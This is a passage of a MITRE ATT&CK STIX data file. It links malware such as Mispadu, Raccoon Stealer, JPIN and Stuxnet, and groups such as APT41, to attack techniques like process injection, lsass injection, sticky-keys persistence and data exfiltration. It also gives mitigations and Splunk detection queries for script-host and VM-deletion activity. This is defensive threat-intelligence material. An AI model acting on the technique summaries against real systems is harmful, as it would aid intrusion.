compression.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:03:29.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--722ffa83-29e2-48bb-a7c1-1cb52fb4aa18","created":"2024-04-18T15:01:22.779Z","revoked":false,"external_references":[{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T15:01:22.779Z","description":"[Mispadu](https://attack.mitre.org/software/S1122)'s binary is injected into memory via `WriteProcessMemory`.(Citation: Segurança Informática URSA Sophisticated Loader 2020)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7230cc17-59e5-4d6a-9ce3-a17b358e2e94","created":"2022-12-19T15:55:02.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T14:50:43.525Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used multiple [dsquery](https://attack.mitre.org/software/S0105) commands to enumerate various Active Directory objects within a compromised environment.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--723b4534-34cc-4b65-9547-f461cb744586","type":"relationship","created":"2020-03-15T00:40:27.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T00:40:27.649Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7243a679-467e-4c31-b413-547016b9c3ad","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.256Z","description":"(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72513bb1-7e36-415f-a6bd-4b1a908509ef","created":"2024-08-01T22:26:22.254Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:26:22.254Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) will automatically collect and exfiltrate data identified in received configuration files from command and control nodes.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7253ab74-8fbb-422b-bf37-258981865b87","type":"relationship","created":"2020-03-26T16:17:09.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T18:44:33.802Z","description":"Install software in write-protected locations. Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard library folders.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72549a7f-7996-4ddc-bcde-a48b1e3d7059","type":"relationship","created":"2021-09-22T15:09:20.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T15:09:20.286Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) can download and execute VBScript files.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--725648c5-1938-4c61-86f7-34fbb66cacfc","created":"2024-07-19T18:34:44.008Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:34:44.008Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) attached password-protected ZIP archives to deliver [Pikabot](https://attack.mitre.org/software/S1145) installers.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72677f7d-063a-45bb-9c29-646af42f1be3","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-09T16:21:11.911Z","description":"Monitor for the creation of processes related to VBScript and VBA execution. Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used.\n\nNote: This query monitors for the creation of processes like cscript.exe, wscript.exe, excel.exe, and winword.exe, which are commonly used to execute VB scripts. It highlights instances where these processes are initiated, providing insight into potential VB script execution.\n\nAnalytic 1 - Look for unusual VB process creation.\n\nsourcetype=windows_security OR sourcetype=wineventlog OR sourcetype=linux_secure OR sourcetype=macos_secure\n| search (process=\"cscript.exe\" OR process=\"wscript.exe\" OR process=\"excel.exe\" OR process=\"winword.exe\")\n| eval suspicious_process=if(like(process, \"cscript.exe\" OR \"wscript.exe\" OR \"excel.exe\" OR \"winword.exe\"), \"Yes\", \"No\")\n| where suspicious_process=\"Yes\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--726ac21d-55ca-4a09-b68a-c1d503eda417","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add /domain.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--726cd7e2-d545-4ddf-8f86-fe1cab083dae","created":"2020-04-28T18:12:13.509Z","x_mitre_version":"1.0","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has used the command cmd /c tasklist to get a snapshot of the current processes on the target machine.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-18T19:47:37.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--726e2014-a0d6-4ed3-959b-2ad647884f5c","created":"2022-04-19T01:50:32.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:02:15.371Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) can delete OLE Automation and SQL stored procedures used to store malicious payloads.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--727520dd-a7ee-4665-a610-201f0d5e2f0e","created":"2021-03-03T21:55:40.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.576Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7275dbe0-1dac-4355-b040-796b85d1aa89","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for newly executed processes for unusual activity (e.g., a process that does not use the network begins to do so).","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7276fbbe-3237-4e95-b2ad-8518327432ba","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}],"modified":"2020-03-19T19:16:42.129Z","description":"[SEASHARPEE](https://attack.mitre.org/software/S0185) can execute commands on victims.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"malware--0998045d-f96e-4284-95ce-3c8219707486","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72802a16-180f-40bb-a80d-721cbc94448d","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS CloudTrail Search","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"},{"source_name":"Cloud Audit Logs","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020.","url":"https://cloud.google.com/logging/docs/audit#admin-activity"},{"source_name":"Azure Activity Logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T14:36:47.903Z","description":"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search) (Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)\n\nAnalytic 1 - Operations performed by unexpected initiators, unusual resource names, frequent deletions\n\nindex=\"azure_activity_logs\" (OperationName=\"Delete Virtual Machine\" OR OperationName=\"Delete Disk\" OR OperationName=\"Delete Role Assignment\")\n| stats count by InitiatorName, Resource\n| where Resource LIKE \"Microsoft.Compute/virtualMachines*\" AND (Status!=\"Succeeded\" OR InitiatorName!=\"expected_initiator\")\n| sort by Time ","relationship_type":"detects","source_ref":"x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e","target_ref":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72810e5a-0394-4acc-8c3d-3360df2679ee","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.818Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can inject content into lsass.exe to load a module.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7282eabe-73e0-4a10-824b-f18df7f892e2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:45.015Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can upload, download, and execute files on the victim.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--728302b6-f61c-40f1-9a78-926d785a3692","created":"2023-09-26T18:42:32.075Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T18:42:32.075Z","description":"[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has exploited CVE-2021-1732 to execute malware components with elevated rights.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7288054b-0679-497a-b4c5-090801b06941","type":"relationship","created":"2020-05-12T21:56:32.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.300Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--728c2a84-ac7d-4b17-a287-4c692d717065","created":"2019-09-23T22:53:30.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.527Z","description":"[APT41](https://attack.mitre.org/groups/G0096) leveraged sticky keys to establish persistence.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--728dce0a-125c-4d66-8622-36d4d909352b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-04-25T12:24:57.301Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72904b3d-5b24-4698-8094-8919f3bda494","type":"relationship","created":"2020-01-30T16:18:37.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T12:55:23.520Z","description":"Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7292fecb-86cc-4e0b-9e46-b8535f68e05e","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in 